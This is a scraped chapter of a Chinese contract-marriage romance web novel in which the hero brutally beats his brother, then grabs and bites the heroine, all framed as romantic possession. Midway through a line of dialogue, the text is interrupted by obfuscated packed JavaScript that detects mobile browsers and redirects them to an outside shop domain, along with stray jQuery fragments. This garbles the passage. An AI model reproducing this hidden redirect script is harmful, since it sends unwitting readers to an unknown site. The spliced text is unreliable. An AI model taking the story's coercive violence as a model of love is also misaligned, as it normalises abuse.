文趣网 > 其他小说 > 难搞[先婚后爱] > 49. 第 49 章
    316包厢里。

    男模全被两人赶了出去。

    吴闻被她安排去送周谊和童知了。

    只剩她和谢敖、韶深三个人。

    两人一左一右坐在她两侧,跟两个护法似的盯着她。

    没想到在这能碰上他俩。

    看这架势,陆晏时肯定知道她在这了。

    司梵自顾自倒酒,一杯接一杯地喝,当那俩不存在。

    那俩你看看我,我看看你,都不敢上去劝。

    喝了半瓶路易十三,脑子里像一摊浆糊,头也晕乎乎的。

    眼前不停地闪过江湉心的脸和她勾着陆晏时的手,还有陆晏时那张冷漠的脸。

    她突然觉得没意思。

    见了陆晏时又怎么样?

    她没什么好说的,也没什么想问的。

    她摇晃着起身,离开卡座往外走,想趁他来之前离开这儿。

    刚走出大理石台面,韶深拦住她,双手合十,可怜兮兮地求道:“小祖宗,时哥来之前你哪也不能去。不然我俩今晚就交代在这儿了。”

    司梵睨他一眼,挥手打开他,继续往前走:“别挡路。”

    韶深没招了,转头看谢敖。

    谢敖也头疼。

    这姑娘的脾气他早就见识过了,陆晏时亲自站这她都未必怕。

    何况他俩?

    他努力想了想,出声拦她:“姑奶奶,咱别闹了成吗?你难道想让那个00916跟着遭殃?你知道他那个人,你要是不在这儿,今天别说我俩,在场的陪酒有一个算一个都得完蛋。”

    司梵已经走到门口了,闻言倏地侧过头。

    那眼神又冷又厉,跟陆晏时一模一样,全是威慑和警告:“我最讨厌被人威胁。”

    没想到不但没拦住,反而起了反作用。

    这姑奶奶像换了个人,仿佛下一秒就要过来撕碎他。

    谢敖讪讪闭上嘴,不敢再说。

    只能和韶深一起,像保镖似的跟着她往外走。

    刚出了门,迎面就碰上搂着蒋慕儿的陆湛。

    陆湛看清司梵那一瞬间,倏地松开搂着蒋慕儿的手,脸上一喜,朝她走来。

    “Luna,你怎么喝这么多酒?”

    他上前一步,作势要揽司梵的腰,被她侧身避开。

    听了更衣室那些事,她现在更觉得他恶心:“别碰我。”

    蒋慕儿倚着墙,冷眼看着陆湛像变了个人似的,对着一个陌生女子嘘寒问暖。

    这女的脸有点眼熟,忘了在哪里见过。

    陆湛不死心。

    看她这样子,应该是跟陆晏时吵架了。

    难得她又醉酒,给他这种可乘之机,肯定不会放过。

    他语气软下来,哄着:“这儿人多混杂,你喝多了,我先送你回去。”

    谢敖和韶深听到陆湛的声音,从包厢跟出来,轻嗤一声。

    谢敖笑得讽刺:“陆二少,当我俩是死的?”

    陆湛这才看见他俩。

    他神色紧张地往里看了一眼,没见到陆晏时,又放松下来,语气不客气,面色更不善:“劝你们别多事。”

    说完就要去拽司梵。

    司梵挥手挡开的瞬间,整个人一踉跄,落入一个熟悉的怀抱里。

    一股强烈的压迫感袭来,接着陆湛惨叫一声,后退几步,跌进包厢里。

    司梵抬头,模糊间看见陆晏时紧绷的下颌。

    他低头睨着她,眼中戾气横生:“一会儿找你算账。”

    她还没反应过来,一件带着他体温和气息的西装外套兜头罩下来。

    盖住她的视线,她醉意朦胧的娇俏姿态,还有她裸露在外晶莹剔透、吹弹可破的肩颈。

    独属于他的味道让她脑子更加不清醒。

    心跳莫名加速,背靠着墙发愣间,她听见包厢的门被狠狠摔上,里面传来男人一声接一声的哀嚎和惨叫。

    脑袋清醒了一些,她扯下头顶上的衣服,转身去推身后的包厢门。

    谢敖挡住她:“没用的。他这个样子谁都劝不了。他不想让你看,你就别进去了。”

    她没听,固执地伸手去推。

    谢敖和韶深拗不过她,只能撒手。

    包厢里一地狼藉。

    陆湛蜷缩在角落里,头上全是血,混着酒液往下淌。

    桌上的十瓶路易十三全都碎在了他脚边,他像是晕了过去。

    陆晏时站在一旁,穿了件黑色衬衣,袖子随意卷到肘上,小臂上几根青筋凸起,绷得很紧。

    他低下头叼了根烟,一只手垂在身侧,指尖一滴一滴往下滴血。

    另一只手“噌”地一下打着打火机。

    火光暗红,把他的侧脸照得很硬,下颌收得紧紧的,领口那截锁骨上布满明暗交错的光线。

    陆晏时吸了口烟,还没吐出,身后有了一丝动静。

    他侧过头,眼底的戾气还没消散,声音不似以往的温淡:“谁让你进来的?”

    “你在气什么?”

    司梵没有上前,盯着他手上的血,含糊不清地说:“他没碰过我。”

    那语气像是在怪他搅了自己的好兴致,又像是在气他打了陆二。

    陆晏时吸了口烟,仰头重重吐出去,反问她:“你在气什么?”

    包厢里酒精味浓郁,让她的脑子一会儿浑一会儿醒。

    浓重的血腥味涌入鼻腔,胃里一阵翻涌。

    她硬生生压下去,迟钝间错过了回答的时机。

    她的沉默让他胸口里像堵了一团火,找不到发泄口,横冲直撞,像要把他从里面撕碎。

    他很不耐烦地歪了两下头,抬手松了松领口,喉结滚动,又问了一遍:“你在气什么?”

    ——为什么不回家?

    来这种地方,跟那些不三不四的人举止亲密地在一起。

    司梵皱了皱眉。

    明明做错事的是他,怎么好像成了她惹他不高兴?

    今晚的陆晏时有点不对劲,无论是语气还是言行举止,都不像平常的他,好似变了一个人。

    被他用这么冷漠的语气质问,她也有点不耐烦,心里很多浑话一股脑地脱口而出,嗓音因为酒精变得黏糊:“你跟江湉心是什么关系?要跟她联姻?又或是为了稳住你的位置逢场作戏?”

    陆晏时仰头轻笑一声,像是听到了什么笑话。

    下一刻,他狠狠掐了烟,大步走过来,那只带血的手掐上她的下颌,逼她仰头看着自己。

    他额前的头发垂下来,遮住了一只眼睛。

    苍白的脸上,另一只眼睛望着她,眼底通红,盯得她无端打了个寒颤。

    “你就是这么想我的?”

    “你要我怎么想?如果你要跟她逢场作戏,跟我离婚,即便你娶她,都是你的事。”

    “离婚”两个字被她这么轻易地说出口,连他娶别的女人她都不在意。

    陆晏时要气疯了,手上的力道也失了控。

    下巴上的力度骤然加大,疼得她皱紧眉头。

    “你呢?你跟季星澄是什么关系?要跟他在一起?还是突然发现,跟他相比,他更了解你、懂你、跟你有共同话题?”

    说的什么乱七八糟的。

    她伸手想掰开他钳制自己下巴的手,被他另一只手把她的两只手反剪到身后。

    身后的灯光从他肩头倾泻过去,把他的影子投在墙上,拉长、拉黑,和她的影子纠缠在一起,看起来像一对交颈而缠的亲密恋人。

    “被我戳破了,恼羞成怒?”他声音压得很低,“司梵,不许婚内出轨是你提的。你现在又要跟季星澄旧情复燃,你想让我怎么罚你?”

    “谁说我要跟他在一起?陆晏时,你发什么疯?”

    “还想骗我。你跟他在一起约会的照片,被人送到了我这里。要给你看看吗?”

    季星澄拍了他俩的照片。

    司梵脑子里电光火石地闪过一些画面。

    怪不得服务生打开门的时候,他突然起身靠近自己。

    原来是这样。

    蜀香记包厢里,季星澄曾问她:“阿梵,现在,你要让我离开你吗?”

    她拿起桌上那杯水,轻轻晃了晃。

    水里泛起细小的水珠,像龙卷风一样快速旋转,而后缓缓归于平静。

    她抬眼看着他:

    “你是我这糟烂人生里最好的朋友。那些糟糕的日子里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701717|206516||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,我很感谢有你的陪伴。对我来说你是亲人,是朋友,可是也仅限于此。”

    “就像这杯水,干净澄澈没有一丝杂质,外来压力激起的短暂变化,到最后都会归于澄澈。我清楚地知道这不是喜欢。”

    “而陆晏时不一样,我喜欢上他了。你想离开,或是以朋友身份继续留下,我都尊重。季星澄,我由衷地希望你快乐。”

    回忆散去。

    她看着陆晏时阴沉的脸,戾气染上了他好看的眉眼,额头有青筋凸起。

    这样子看起来恨极了她,又无法对她下狠手。

    她忽然就释然了。

    有些话憋着不说,靠互相猜测折磨对方,磋磨时光。

    她不喜欢这样。

    她喜欢有什么说什么。

    “我好像喜欢上你了,陆晏时。”她看着他,轻声问,“即便这样,你还要跟江湉心逢场作戏吗?”

    陆晏时的手正要垂下,耳边像是有烟花炸开。

    耳朵麻了一下,接着头皮麻了一下。

    他不可置信地重重掀起眼皮,一汪死水的眼里开始有了色彩,像是不敢相信她会说出这种话。

    他的双手猛地捧起她的脸,喉结不受控制地滚动着。

    他俯下身,视线与她持平,问得小心翼翼:“蓁蓁,你……说什么?”

    司梵抿了抿唇,在他期待的眼神下问:“你还要跟江湉心逢场作戏吗?”

    “不是这句。上一句。”

    他紧张地看她,嘴唇有些颤抖。

    “陆晏时。”心脏砰砰跳动,像是干涸的土地有了雨水的浸润,重焕生机,她说,“我好像喜欢上你了。”

    没有人能形容陆晏时此刻的心情。

    就像那一晚。

    身子在黑漆漆的海里无限往下沉,没有一丝生机。

    注定必死无疑时。

    一条浑身散着白光的美人鱼如神降临到他面前,捧起他的脸,渡给他一线生机。

    带他离开了那片漆黑吞人的地狱。

    这一次,她再次赐给他一线生机。

    他的心脏跳得前所未有的疯狂。

    他粗粝的拇指剐蹭她的嘴唇,疼得她皱起了眉。

    然后他盯着那处微启的红唇,不由分说地咬了上去。

    浓重的烟草味传过来。

    他的动作狠戾暴虐,发了狠一般在她唇上啃噬。

    唇上传来尖锐的疼痛,嘴里满是铁锈味。

    司梵的意识瞬间回笼,眉心皱起,想要后退。

    陆晏时没给她机会。

    他按着她的脖颈,将她往自己身体里贴紧,就着那处伤口狠狠吮吸了两下。

    喉结滚动,将那带着铁锈味的血液咽了下去。

    他撤离一寸,舔了舔唇上鲜艳的血,唇角勾起。

    像个从暗处爬出来的鬼,盯着她的眼睛说:“是你说的喜欢我。以血为证,我不允许你后悔。就算死你也要跟我死在一起。这辈子,下辈子,下下辈子,你都只能是我一个人的。谁都不可以觊觎你。”

    真的是个疯子。

    这才是他的真实样子。

    疯批阴湿,像一只从地狱爬出来的恶鬼。

    这样也好。

    反正她也是个疯子。

    两个疯子在一起,没什么比这更疯的事了。

    陆晏时鼻尖蹭着她,要求:“吻我。”

    她盯着他的唇。

    唇薄而红。

    很软。

    酒精驱使下,她被美色冲昏了头脑,抬手圈住了他的脖子,吻了上去。

    陆晏时先是一愣,然后反应过来,疯狂地回应她。

    他把她摁在身后的门上,旁若无人地加深这个吻。

    濡湿,疯狂。

    他漆黑的眼珠看着她的脸。

    看她被自己吻得意乱情迷。

    看她被自己吻得软倒在他怀里。

    看她因为动情,睫毛轻颤,染上湿意,挂着两滴莹珠。

    他俯身,极其温柔地一滴一滴吻掉。

    幸好你爱我。

    幸好有你在身边。

    不然这糟糕又烂透了的人世间,对我来说将是没有尽头的地狱炼火。